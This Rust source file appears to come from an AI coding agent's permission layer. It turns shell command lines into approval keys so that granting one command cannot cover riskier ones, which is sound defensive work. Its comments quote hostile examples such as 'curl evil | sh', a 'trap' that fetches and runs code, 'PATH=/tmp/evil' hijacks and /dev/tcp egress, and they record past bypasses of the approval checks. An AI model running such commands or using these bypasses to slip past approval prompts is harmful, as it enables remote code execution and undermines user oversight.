Skip to main content

leviath_cli/
shell_keys.rs

1//! Turning a shell command line into the keys a grant is remembered under.
2//!
3//! Keying a grant on the bare tool name would make approving one `shell` call
4//! approve *every* later one: "allow `ls`" would silently become "allow
5//! `curl evil | sh`". So a shell grant is keyed on what actually runs, one key
6//! per command in the line, and a later call is covered only when **every**
7//! command in it is already covered. A grant can never widen to a program the
8//! user has not seen run.
9//!
10//! The same key space is what `[safe_commands] shell` entries live in, so
11//! "this is pre-approved" and "the user approved this" are one lookup rather
12//! than two mechanisms that have to agree about shell syntax.
13//!
14//! The parser here is deliberately not a shell. It answers one question - what
15//! does this line decide about what executes - and every case it cannot answer
16//! confidently makes the whole line ungrantable, because "approve this once and
17//! ask again next time" is the safe direction.
18//!
19//! **A key names everything in a segment that decides what executes, not just
20//! the program.** Naming only the program is the shape of bug this module has
21//! shipped more than once: `PATH=/tmp/evil ls` keyed a bare `ls`, `trap "curl
22//! evil" EXIT; ls` keyed a bare `ls`, and both rode the default safe list into
23//! an unprompted execution of somebody else's code. So a segment also yields an
24//! `env:NAME` key for each variable it binds (`ENV_BINDING`, and `VAR=value`
25//! prefixes), and a builtin that installs code to run later is refused outright
26//! (`CODE_INSTALLING`). When adding a construct here, the question to ask is
27//! not "does this run a program" but "could this change which program a later
28//! word resolves to".
29
30use std::collections::BTreeSet;
31
32/// The namespace every shell key carries, so a key can never collide with the
33/// bare tool name a non-shell grant uses.
34pub const KEY_PREFIX: &str = "shell:";
35
36/// Words that introduce a compound command and are followed by the program that
37/// actually runs. They are stripped and parsing continues, so `do if grep -q x f`
38/// keys `shell:grep` rather than `shell:do if`.
39const PREFIX_KEYWORDS: &[&str] = &[
40    "if", "elif", "then", "else", "do", "while", "until", "!", "{", "}",
41];
42
43/// Words that bind data, close a block, or are shell builtins that launch
44/// nothing and bind no name. A segment starting with one of these runs no
45/// program and changes nothing a later segment depends on, so it contributes no
46/// key: this is what stops `for i in $(seq 1 11); do ...` producing
47/// `shell:for i`.
48///
49/// `set` is here because it toggles shell options and positional parameters -
50/// `set -euo pipefail` is in half the commands an agent writes and cannot
51/// redirect what a later program resolves to. The builtins that *can* are in
52/// [`ENV_BINDING`] and [`CODE_INSTALLING`].
53const INERT_KEYWORDS: &[&str] = &[
54    "for", "in", "case", "esac", "fi", "done", "select", "break", "continue", "return", "shift",
55    "exit", "jobs", "disown", "wait", "set", "umask",
56];
57
58/// Builtins that bind a variable name, so the segment contributes an
59/// `env:NAME` key per name it touches.
60///
61/// `export PATH=/tmp/evil` runs no program, but the next segment's `ls` is a
62/// different `ls` because of it. Keying the name is what stops a safe-listed
63/// program in a later segment silently covering the whole line.
64const ENV_BINDING: &[&str] = &["export", "unset", "local", "readonly", "declare", "typeset"];
65
66/// Builtins that install code to run later, at a point this parser cannot
67/// attribute to any program. The whole line becomes ungrantable.
68///
69/// `trap "curl evil | sh" EXIT` runs on exit, `function ls { curl evil; }` and
70/// `alias ls=...` replace a name a later segment resolves. In each case the
71/// payload is a quoted word or a block, so no amount of naming programs in this
72/// segment describes what will actually execute.
73const CODE_INSTALLING: &[&str] = &["function", "trap", "alias", "unalias"];
74
75/// Flags that turn an otherwise read-only program into one that writes a file
76/// or runs another program, keyed by the program that accepts them.
77///
78/// This is a denylist, and a denylist has to be complete to be correct - so it
79/// is used for exactly one thing: keeping an entry on the default safe list
80/// that would otherwise have to be removed. `git`'s read-only subcommands are
81/// most of what a coding agent does, but `--output=<file>` is a diff-machinery
82/// option that `diff`, `log` and `show` all accept, and `git diff` is an exact
83/// safe entry. Refusing the segment is cheaper than losing read-only git.
84///
85/// A program whose escape *cannot* be spelled as a flag does not belong here
86/// and was removed from the safe list instead - see [`crate::approvals`], where
87/// `uniq`'s output operand is the worked example. When in doubt, remove the
88/// entry rather than extending this table: the entry is convenience, the rule
89/// is the guarantee.
90const ESCAPE_FLAGS: &[(&str, &[&str])] = &[("git", &["--output"])];
91
92/// Whether this segment hands a safe-listed program a flag that lets it escape.
93///
94/// Prefix-matched, so `--output=x` and a separated `--output x` both hit.
95fn carries_escape_flag(program: &str, words: &[Word]) -> bool {
96    ESCAPE_FLAGS.iter().any(|(name, flags)| {
97        *name == program
98            && words
99                .iter()
100                .skip(1)
101                .any(|w| flags.iter().any(|f| w.text.starts_with(f)))
102    })
103}
104
105/// Programs that run a command assembled at runtime, so nothing in the line
106/// names what will actually execute. A grant must never cover one of these.
107///
108/// `.` is `source` spelled the other way.
109const UNREADABLE_PROGRAMS: &[&str] = &["eval", "source", "."];
110
111/// Programs whose second word is payload rather than a second program, so
112/// folding it into the key only splits one grant into many.
113///
114/// `cd` is here and is safe to be here: every shell call runs as a fresh
115/// `sh -c` with `current_dir(&workdir)` (see `leviath_tools::exec`), so a `cd`
116/// cannot outlive its own invocation and cannot execute anything. Keying it
117/// with its path meant a run that worked in one directory re-prompted the first
118/// time it worked in another, for a grant that names no program at all.
119const NEVER_FOLD: &[&str] = &["cd", "echo", "printf"];
120
121/// One word of a command line, with quotes already removed.
122#[derive(Debug, Clone, PartialEq, Eq)]
123struct Word {
124    /// The word's value.
125    text: String,
126    /// Whether that value is fully determined by the source text. An expansion
127    /// clears it, because `$SCRIPT` names a different file on every run and
128    /// folding it into a key would grant whatever it expands to next time.
129    literal: bool,
130    /// Whether any part of the word was quoted. A real subcommand is never
131    /// quoted, so quoting is the signal that this word is the program's data -
132    /// a grep pattern, a message, a here-string. Folding it in is what made a
133    /// grant useless in practice: every distinct `grep` pattern became its own
134    /// grant and the same search re-prompted forever.
135    quoted: bool,
136}
137
138/// One command of a line: the words that decide what runs, and the targets it
139/// writes to through a redirect.
140///
141/// Redirects are held apart from the words because they are not arguments to
142/// the program - `cat a > b` runs `cat` and writes `b`, and the second half is
143/// invisible to any key that names only the first.
144#[derive(Debug, Clone, PartialEq, Eq, Default)]
145struct Segment {
146    words: Vec<Word>,
147    writes: Vec<Word>,
148}
149
150/// What a redirect writes to.
151#[derive(Debug, Clone, PartialEq, Eq)]
152enum WriteTarget {
153    /// Nothing that outlives the call: `/dev/null` and the standard streams.
154    Discarded,
155    /// A path this can name, and so can key.
156    Path(String),
157    /// A target no key written today describes: a name that only exists after
158    /// expansion, or one of bash's `/dev/tcp` and `/dev/udp` sockets, where the
159    /// "file" is a connection to a host chosen at runtime.
160    Unreadable,
161}
162
163/// Targets that accept a write and keep nothing, so writing to one grants
164/// nothing and should cost no prompt. `2>/dev/null` opens a large share of the
165/// commands an agent writes.
166/// `/dev/tty` is deliberately **not** here. It is the user's controlling
167/// terminal, not a sink: writing to it puts bytes on a real screen, which is
168/// how OSC-52 clipboard writes and the rest of the escape-sequence family
169/// reach a person. `/dev/stdout` and `/dev/stderr` are the shell tool's own
170/// captured pipes, so those really do go nowhere a person sees unprompted.
171const DISCARDING_TARGETS: &[&str] = &["/dev/null", "/dev/stdout", "/dev/stderr"];
172
173/// Windows' null device, matched case-insensitively and on every platform.
174///
175/// `> NUL` is what `> /dev/null` is written as on Windows, and charging a
176/// prompt for one spelling while the other is free would make the same command
177/// behave differently depending on who ran it. CI caught exactly that: a test
178/// whose Windows arm silences output with `> NUL` started being refused.
179///
180/// Unconditional rather than `#[cfg(windows)]`, which would need a platform
181/// twin to satisfy the coverage gate and would buy almost nothing. On Unix
182/// `> NUL` really does create a file - but one named exactly `NUL`, in the
183/// workdir, with no path control at all. That is not a capability worth a
184/// prompt, and it is a different thing entirely from the arbitrary-path writes
185/// this module exists to catch.
186const NULL_DEVICE_NAMES: &[&str] = &["NUL"];
187
188/// Path prefixes that are a network connection rather than a file. Bash opens
189/// `> /dev/tcp/host/port` as a socket, which makes a redirect an egress channel
190/// that no program name in the line describes.
191const NETWORK_TARGET_PREFIXES: &[&str] = &["/dev/tcp/", "/dev/udp/"];
192
193/// Classify what a redirect's target word writes to.
194fn classify_write(target: &Word) -> WriteTarget {
195    if !target.literal {
196        return WriteTarget::Unreadable;
197    }
198    let text = target.text.as_str();
199    if DISCARDING_TARGETS.contains(&text)
200        || text.starts_with("/dev/fd/")
201        || NULL_DEVICE_NAMES
202            .iter()
203            .any(|n| text.eq_ignore_ascii_case(n))
204    {
205        return WriteTarget::Discarded;
206    }
207    if NETWORK_TARGET_PREFIXES.iter().any(|p| text.starts_with(p)) {
208        return WriteTarget::Unreadable;
209    }
210    WriteTarget::Path(target.text.clone())
211}
212
213/// The key naming a write.
214///
215/// `is_valid_prefix` rejects anything starting with `>`, so there is no
216/// `[safe_commands] shell` entry that covers a write and none can be added. A
217/// write is approved by a person, per target, or not at all - which is what the
218/// safe list's own admission rule ("must not be able to write a file") has
219/// always said and could not previously enforce.
220fn write_key(path: &str) -> String {
221    format!(">{path}")
222}
223
224/// What one segment of a line contributes.
225///
226/// Three states rather than an `Option`, because "nothing runs here" and "I
227/// cannot read this" have opposite consequences: the first contributes no key
228/// and lets the rest of the line stand, the second makes the whole line
229/// ungrantable.
230///
231/// A segment yields more than one key when it decides more than one thing:
232/// `PATH=/tmp/evil ls` runs `ls`, but *which* `ls` is decided by the
233/// assignment, so it contributes both `ls` and `env:PATH`.
234#[derive(Debug, Clone, PartialEq, Eq)]
235enum SegmentKey {
236    Keys(Vec<String>),
237    NothingRuns,
238    Unreadable,
239}
240
241impl SegmentKey {
242    /// `NothingRuns` for an empty set, so a segment that turned out to decide
243    /// nothing reads as such rather than as an empty grant.
244    fn from_keys(keys: Vec<String>) -> Self {
245        if keys.is_empty() {
246            Self::NothingRuns
247        } else {
248            Self::Keys(keys)
249        }
250    }
251}
252
253/// The keys covering `command`, sorted and deduped, each prefixed with
254/// [`KEY_PREFIX`].
255///
256/// Empty means the line is not grantable at all: either nothing in it runs a
257/// program, or some part of it could not be read.
258pub fn command_keys(command: &str) -> Vec<String> {
259    let Some(segments) = tokenize(command) else {
260        return Vec::new();
261    };
262    keys_from_segments(&segments)
263}
264
265/// The keys a tokenized line yields.
266///
267/// Split from [`command_keys`] so a caller that has already tokenized - a test
268/// pinning one shell's escape rule against the other - reads the same
269/// implementation rather than a second copy that could drift from it.
270fn keys_from_segments(segments: &[Segment]) -> Vec<String> {
271    let mut keys = BTreeSet::new();
272    for segment in segments {
273        match segment_key(&segment.words) {
274            SegmentKey::Keys(found) => {
275                keys.extend(found.into_iter().map(|k| format!("{KEY_PREFIX}{k}")));
276            }
277            SegmentKey::NothingRuns => {}
278            // One unreadable command is enough: the line as a whole runs
279            // something this cannot name, and a grant must not cover it.
280            SegmentKey::Unreadable => return Vec::new(),
281        }
282        for target in &segment.writes {
283            match classify_write(target) {
284                WriteTarget::Discarded => {}
285                WriteTarget::Path(path) => {
286                    keys.insert(format!("{KEY_PREFIX}{}", write_key(&path)));
287                }
288                // Same rule as an unreadable program: a write this cannot name
289                // must not be covered by a grant that names something else.
290                WriteTarget::Unreadable => return Vec::new(),
291            }
292        }
293    }
294    keys.into_iter().collect()
295}
296
297/// Whether every key in `keys` is already covered, so the call runs unprompted.
298///
299/// The two predicates are deliberately not interchangeable. `safe` is the
300/// pre-approved set and is widened through [`program_of`], so a safe-listed
301/// `cat` covers `cat notes.md`. `granted` is what a person actually approved
302/// during this run, and is **not** widened: an approval is for the thing they
303/// were shown, and widening it would let a granted `git log` cover
304/// `git log > ~/.bashrc`.
305///
306/// An empty key list is never covered. A line this cannot characterize is one no
307/// grant may speak for, so it prompts every time.
308///
309/// Extracted so the daemon's `AgentToolState::covers` and the tests that pin
310/// this behaviour run the same code. Asserting on key *strings* instead would
311/// pass against a fix that emitted the right key and still let it be covered,
312/// which is exactly how the safe-list escapes went unnoticed.
313///
314/// `&dyn Fn` rather than a generic: one instantiation, so the coverage gate sees
315/// one set of regions instead of one per call site.
316pub fn all_covered(
317    keys: &[String],
318    safe: &dyn Fn(&str) -> bool,
319    granted: &dyn Fn(&str) -> bool,
320) -> bool {
321    !keys.is_empty()
322        && keys
323            .iter()
324            .all(|k| safe(k) || safe(program_of(k)) || granted(k))
325}
326
327/// Whether `command` writes a file through a shell redirect.
328///
329/// A redirect is a file write that no tool name describes, so the caller
330/// clamps the call by the write tool's policy rather than the shell's alone.
331/// Without that, `write_file = "deny"` was bypassable with `echo x > file`.
332///
333/// Conservative on an unparseable line: a line this cannot read is treated as
334/// writing, because the alternative is deciding it does not on evidence that
335/// was already too weak to name its programs.
336pub fn writes_a_file(command: &str) -> bool {
337    let Some(segments) = tokenize(command) else {
338        return true;
339    };
340    segments.iter().any(|segment| {
341        segment
342            .writes
343            .iter()
344            .any(|t| classify_write(t) != WriteTarget::Discarded)
345    })
346}
347
348/// Every literal path `command` redirects a write to.
349///
350/// [`writes_a_file`] answers whether to clamp by the write policy; this answers
351/// *where*, so a caller can hold a redirect to the same workspace confinement
352/// `write_file` enforces.
353///
354/// Discarded targets (`/dev/null` and friends) are absent because they write
355/// nothing anyone can read back. **Unreadable** targets are absent too, and that
356/// is the one asymmetry worth stating: `> $OUT` names a path only the shell will
357/// know, so there is nothing to check it against. Those are already ungrantable
358/// by [`writes_a_file`] and prompt every time, which is the containment they
359/// get. A line that will not tokenize yields nothing here for the same reason -
360/// it is already treated as writing.
361pub fn write_target_paths(command: &str) -> Vec<String> {
362    let Some(segments) = tokenize(command) else {
363        return Vec::new();
364    };
365    segments
366        .iter()
367        .flat_map(|segment| segment.writes.iter())
368        .filter_map(|t| match classify_write(t) {
369            WriteTarget::Path(p) => Some(p),
370            WriteTarget::Discarded | WriteTarget::Unreadable => None,
371        })
372        .collect()
373}
374
375/// The program half of a key, dropping any folded subcommand or argument.
376///
377/// This is what makes a safe-command entry cover a family rather than a single
378/// invocation. A call to `cat notes.md` keys `shell:cat notes.md`, and an entry
379/// of `cat` keys `shell:cat`; without this they would never meet and naming a
380/// program as safe would do nothing for any call that passed it an argument.
381///
382/// The widening is one-directional and deliberate. It applies to entries a user
383/// wrote in their own config, where naming `cat` means every `cat`. A grant made
384/// at a prompt still matches exactly, so approving `git diff` never covers
385/// `git push`.
386pub fn program_of(key: &str) -> &str {
387    match key.split_once(' ') {
388        Some((program, _)) => program,
389        None => key,
390    }
391}
392
393/// Whether `entry` is usable as a `[safe_commands] shell` entry.
394///
395/// Defined as "derives back to exactly itself", so there is one grammar rather
396/// than two: anything the matcher would read as more than one command, as a
397/// keyword, or as an expansion is rejected here without a second
398/// implementation that could drift from the first.
399///
400/// A write key is refused on top of that rule rather than by it, because a bare
401/// `>out` *does* derive back to itself and would otherwise become a
402/// pre-approvable write. A write is approved by a person, per target, or not at
403/// all - which is what the safe list's own admission rule has always said and
404/// could not previously enforce.
405pub fn is_valid_prefix(entry: &str) -> bool {
406    !entry.starts_with('>') && command_keys(entry) == [format!("{KEY_PREFIX}{entry}")]
407}
408
409/// Split a line into its commands, or `None` when it cannot be read as a list
410/// of commands.
411///
412/// The four `None` cases are all "this line contains a construct whose contents
413/// decide what runs, and reading it wrong would understate the grant": an
414/// unterminated quote, an unterminated `$(`, a backtick (same idea as `$(`, but
415/// nesting is ambiguous), and a heredoc (whose body has its own delimiter
416/// grammar).
417fn tokenize(command: &str) -> Option<Vec<Segment>> {
418    tokenize_for(command, BACKSLASH_ESCAPES)
419}
420
421/// Whether the shell these keys describe reads `\` as an escape character.
422///
423/// It does in `sh`; it does not in `cmd.exe`, where `\` is the path separator.
424/// Reading it wrong is not cosmetic: `cat C:\Users\me\notes.md` was keyed as
425/// `shell:cat C:Usersmenotes.md`, so a Windows user's grants were recorded
426/// against paths that do not exist, and anything comparing a key to a real path
427/// compared the wrong string.
428///
429/// Matched to the platform rather than to the resolved shell. `BuiltinTools`
430/// picks `$SHELL` on Unix and `cmd.exe` on Windows, and a Unix user whose
431/// `$SHELL` is not POSIX-ish is already outside what this parser models.
432const BACKSLASH_ESCAPES: bool = cfg!(not(windows));
433
434/// [`tokenize`] with the escape rule supplied, so both readings are testable on
435/// either platform.
436fn tokenize_for(command: &str, backslash_escapes: bool) -> Option<Vec<Segment>> {
437    let mut lex = Lexer::default();
438    let escapes = backslash_escapes;
439    let mut chars = command.chars().peekable();
440    while let Some(c) = chars.next() {
441        match c {
442            '\'' => {
443                // Single quotes suppress every expansion, so the contents are
444                // as determined as a bare word - but still quoted, so still
445                // data rather than a subcommand.
446                lex.begin_word();
447                lex.quoted = true;
448                loop {
449                    let q = chars.next()?;
450                    if q == '\'' {
451                        break;
452                    }
453                    lex.word.push(q);
454                }
455            }
456            '"' => {
457                lex.begin_word();
458                lex.quoted = true;
459                loop {
460                    match chars.next()? {
461                        '"' => break,
462                        '\\' if escapes => {
463                            // Inside double quotes a backslash escapes only the
464                            // four characters that would otherwise be special;
465                            // anywhere else it stands for itself.
466                            let e = chars.next()?;
467                            if !matches!(e, '$' | '"' | '\\' | '`') {
468                                lex.word.push('\\');
469                            }
470                            lex.word.push(e);
471                        }
472                        '`' => return None,
473                        '$' => lex.take_dollar(&mut chars, escapes)?,
474                        q => lex.word.push(q),
475                    }
476                }
477            }
478            '`' => return None,
479            '\\' if escapes => {
480                lex.begin_word();
481                lex.word.push(chars.next()?);
482            }
483            // Not an escape on this shell, so it is data - and on Windows it is
484            // the path separator, which is the whole reason this branch exists.
485            '\\' => {
486                lex.begin_word();
487                lex.word.push('\\');
488            }
489            '$' => {
490                lex.begin_word();
491                lex.take_dollar(&mut chars, escapes)?;
492            }
493            // A heredoc body has its own delimiter grammar, which is more than
494            // a grant key is worth reading.
495            '<' if chars.peek() == Some(&'<') => return None,
496            '>' | '<' => {
497                // A file descriptor written in front of the operator (`2>`) is
498                // part of it, not a word of its own.
499                if !lex.word.chars().all(|d| d.is_ascii_digit()) {
500                    lex.end_word();
501                }
502                lex.discard_word();
503                if chars.peek() == Some(&c) {
504                    chars.next();
505                }
506                // `>|` forces the truncation `noclobber` would refuse. Consuming
507                // the bar here is what stops it reading as a pipe, which made
508                // the target of `ls >| out` parse as a program named `out`.
509                if c == '>' && chars.peek() == Some(&'|') {
510                    chars.next();
511                }
512                // `>&1` duplicates a descriptor; that `&` belongs to the
513                // target, not to a separator. A descriptor is not a file, so
514                // nothing is written that this has to name.
515                let dup = chars.peek() == Some(&'&');
516                if dup {
517                    chars.next();
518                }
519                // `<>` opens the target O_RDWR, so it is a write however it
520                // reads. Checked before the `<` arm, which is otherwise a read
521                // and grants nothing a safe program could not already do.
522                let read_write = c == '<' && chars.peek() == Some(&'>');
523                if read_write {
524                    chars.next();
525                }
526                lex.swallow = Some(match (c, dup, read_write) {
527                    (_, true, _) => Swallow::Other,
528                    ('>', _, _) | (_, _, true) => Swallow::Write,
529                    _ => Swallow::Other,
530                });
531            }
532            '&' if chars.peek() == Some(&'>') => {
533                chars.next();
534                lex.end_word();
535                lex.swallow = Some(Swallow::Write);
536            }
537            ';' | '&' | '|' | '\n' | '(' | ')' => {
538                // A doubled `&&` or `||` is one separator, and a subshell paren
539                // is a command boundary like any other.
540                if (c == '&' || c == '|') && chars.peek() == Some(&c) {
541                    chars.next();
542                }
543                lex.end_word();
544                lex.end_segment();
545            }
546            c if c.is_whitespace() => lex.end_word(),
547            _ => {
548                lex.begin_word();
549                lex.word.push(c);
550            }
551        }
552    }
553    lex.end_word();
554    lex.end_segment();
555    Some(lex.segments)
556}
557
558/// The tokenizer's mutable state, gathered so the character loop reads as the
559/// grammar it implements rather than as five `&mut` arguments threaded through
560/// every call.
561#[derive(Default)]
562struct Lexer {
563    segments: Vec<Segment>,
564    current: Vec<Word>,
565    /// Write targets seen in the segment being accumulated.
566    writes: Vec<Word>,
567    word: String,
568    in_word: bool,
569    literal: bool,
570    quoted: bool,
571    /// Set by a redirect operator: the next word names a file, not a program.
572    swallow: Option<Swallow>,
573}
574
575/// What the word a redirect claimed is going to be used for.
576///
577/// Only a write needs naming. A read redirect grants nothing a program could
578/// not already do - `cat` reads any file the user can - and a descriptor
579/// duplication names no file at all.
580#[derive(Debug, Clone, Copy, PartialEq, Eq)]
581enum Swallow {
582    Write,
583    Other,
584}
585
586impl Lexer {
587    /// Start accumulating a word, if one is not already open.
588    fn begin_word(&mut self) {
589        if !self.in_word {
590            self.in_word = true;
591            self.literal = true;
592            self.quoted = false;
593        }
594    }
595
596    /// End the word being accumulated, appending it to the segment's words -
597    /// or, when a redirect claimed it, to its write targets.
598    fn end_word(&mut self) {
599        if self.in_word {
600            let word = Word {
601                text: std::mem::take(&mut self.word),
602                literal: self.literal,
603                quoted: self.quoted,
604            };
605            match self.swallow.take() {
606                Some(Swallow::Write) => self.writes.push(word),
607                Some(Swallow::Other) => {}
608                None => self.current.push(word),
609            }
610        }
611        self.discard_word();
612    }
613
614    /// Drop the partial word without emitting it, used where the characters
615    /// gathered so far turned out to belong to an operator.
616    fn discard_word(&mut self) {
617        self.word.clear();
618        self.in_word = false;
619        self.literal = true;
620        self.quoted = false;
621    }
622
623    fn end_segment(&mut self) {
624        // A redirect operator with no word after it (`ls >`) is a malformed
625        // line; dropping the pending claim here keeps it from swallowing the
626        // first word of the next segment.
627        self.swallow = None;
628        self.segments.push(Segment {
629            words: std::mem::take(&mut self.current),
630            writes: std::mem::take(&mut self.writes),
631        });
632    }
633
634    /// Consume whatever follows a `$`.
635    ///
636    /// `$(( ))` is arithmetic: it computes a number and runs nothing, so it
637    /// only marks the word as expanded. `$( )` is a command substitution, which
638    /// runs a command *inside* this one, so its contents become their own
639    /// segment - otherwise `echo $(curl evil)` would grant only `echo`, and a
640    /// later `echo $(curl evil)` would be covered by an earlier harmless one.
641    fn take_dollar(
642        &mut self,
643        chars: &mut std::iter::Peekable<std::str::Chars>,
644        escapes: bool,
645    ) -> Option<()> {
646        self.literal = false;
647        if chars.peek() != Some(&'(') {
648            return Some(());
649        }
650        chars.next();
651        if chars.peek() == Some(&'(') {
652            chars.next();
653            take_substitution(chars)?;
654            // The second half of the closing `))`.
655            match chars.next() {
656                Some(')') => return Some(()),
657                _ => return None,
658            }
659        }
660        let inner = take_substitution(chars)?;
661        self.segments.extend(tokenize_for(&inner, escapes)?);
662        Some(())
663    }
664}
665
666/// Take the text of a `$(...)` up to its matching `)`, leaving `chars` just
667/// past it. `None` when the parens never balance.
668fn take_substitution(chars: &mut std::iter::Peekable<std::str::Chars>) -> Option<String> {
669    let mut depth = 0usize;
670    let mut inner = String::new();
671    loop {
672        let c = chars.next()?;
673        match c {
674            '(' => depth += 1,
675            ')' if depth == 0 => return Some(inner),
676            ')' => depth -= 1,
677            _ => {}
678        }
679        inner.push(c);
680    }
681}
682
683/// The keys one command contributes: the program, plus the second word when
684/// that word narrows *which* program runs rather than being a flag, a number,
685/// or the program's data, plus an `env:NAME` key for every variable the segment
686/// binds.
687///
688/// The rule the three key families share: **a key names everything in the
689/// segment that decides what executes.** A program name alone does not, which
690/// is what made `PATH=/tmp/evil ls` read as a plain `ls` and ride the safe list
691/// into an unprompted execution of somebody else's binary.
692fn segment_key(words: &[Word]) -> SegmentKey {
693    let mut env_keys = Vec::new();
694    let mut rest = words;
695    // Strip leading keywords and `VAR=value` assignments until a program is
696    // reached. `FOO=1 do cargo test` keys `shell:cargo test` and `shell:env:FOO`.
697    loop {
698        let Some(first) = rest.first() else {
699            return SegmentKey::from_keys(env_keys);
700        };
701        let text = first.text.as_str();
702        if INERT_KEYWORDS.contains(&text) {
703            return SegmentKey::from_keys(env_keys);
704        }
705        if CODE_INSTALLING.contains(&text) {
706            return SegmentKey::Unreadable;
707        }
708        if ENV_BINDING.contains(&text) {
709            return match binding_keys(&rest[1..], &mut env_keys) {
710                Ok(()) => SegmentKey::from_keys(env_keys),
711                Err(()) => SegmentKey::Unreadable,
712            };
713        }
714        if PREFIX_KEYWORDS.contains(&text) {
715            rest = &rest[1..];
716            continue;
717        }
718        if let Some(name) = assignment_name(first) {
719            env_keys.push(env_key(name));
720            rest = &rest[1..];
721            continue;
722        }
723        break;
724    }
725    let program = &rest[0];
726    // A program named by an expansion cannot be keyed: `$CMD` is a different
727    // program on every run, and a key naming it would grant all of them. The
728    // same is true of a program whose whole job is running a command assembled
729    // somewhere this cannot see.
730    if !program.literal || UNREADABLE_PROGRAMS.contains(&program.text.as_str()) {
731        return SegmentKey::Unreadable;
732    }
733    if carries_escape_flag(&program.text, rest) {
734        return SegmentKey::Unreadable;
735    }
736    match rest.get(1) {
737        Some(arg) if folds_into_key(&program.text, arg) => {
738            env_keys.push(format!("{} {}", program.text, arg.text));
739        }
740        _ => env_keys.push(program.text.clone()),
741    }
742    SegmentKey::Keys(env_keys)
743}
744
745/// The key naming a bound variable.
746///
747/// The `env:` namespace is deliberately one token with no space, so
748/// [`program_of`] cannot widen a safe-list entry onto it: naming `env` as a safe
749/// command grants nothing, and there is no spelling of a `[safe_commands]` entry
750/// that covers every variable at once. A user who wants one grants it by name.
751fn env_key(name: &str) -> String {
752    format!("env:{name}")
753}
754
755/// Collect the names an [`ENV_BINDING`] builtin touches, or `Err` when one of
756/// them cannot be read.
757///
758/// Flags are skipped (`declare -x FOO` binds `FOO`), and a name supplied by an
759/// expansion is refused outright: `export $VAR` binds whatever `$VAR` says this
760/// run, so no key written today describes it.
761fn binding_keys(args: &[Word], out: &mut Vec<String>) -> Result<(), ()> {
762    for arg in args {
763        if arg.text.starts_with('-') || arg.text.starts_with('+') {
764            continue;
765        }
766        if !arg.literal {
767            return Err(());
768        }
769        let name = arg
770            .text
771            .split_once('=')
772            .map_or(arg.text.as_str(), |(n, _)| n);
773        if !is_variable_name(name) {
774            return Err(());
775        }
776        out.push(env_key(name));
777    }
778    Ok(())
779}
780
781/// The variable name a `VAR=value` prefix binds, or `None` when the word is a
782/// program rather than an assignment.
783fn assignment_name(word: &Word) -> Option<&str> {
784    let (name, _) = word.text.split_once('=')?;
785    is_variable_name(name).then_some(name)
786}
787
788/// Whether `name` is spelled the way a shell variable is.
789fn is_variable_name(name: &str) -> bool {
790    !name.is_empty()
791        && name.starts_with(|c: char| c.is_ascii_alphabetic() || c == '_')
792        && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')
793}
794
795/// Whether `arg` narrows which program runs, and so belongs in the key.
796///
797/// `git diff` rather than `git`, because `git` alone would cover `git push`.
798/// `ls` rather than `ls -la`, because a flag does not change what the program
799/// is. `sleep` rather than `sleep 55`, because a duration does not either - and
800/// keying it meant `sleep 45`, `sleep 50` and `sleep 55` were three grants for
801/// one program. `grep` rather than `grep '^EXIT:'`, because a quoted argument
802/// is the program's data and every distinct pattern would be its own grant.
803///
804/// Folding is a narrowing: a word that stays out of the key makes the grant
805/// cover more, so each exclusion here is a deliberate trade of precision for a
806/// grant that applies more than once. The floor is that the program is always
807/// named, and the user approved a command they could read.
808fn folds_into_key(program: &str, arg: &Word) -> bool {
809    arg.literal
810        && !arg.quoted
811        && !NEVER_FOLD.contains(&program)
812        && !arg.text.is_empty()
813        && !arg.text.starts_with('-')
814        && !arg.text.starts_with(|c: char| c.is_ascii_digit())
815}
816
817#[cfg(test)]
818mod tests;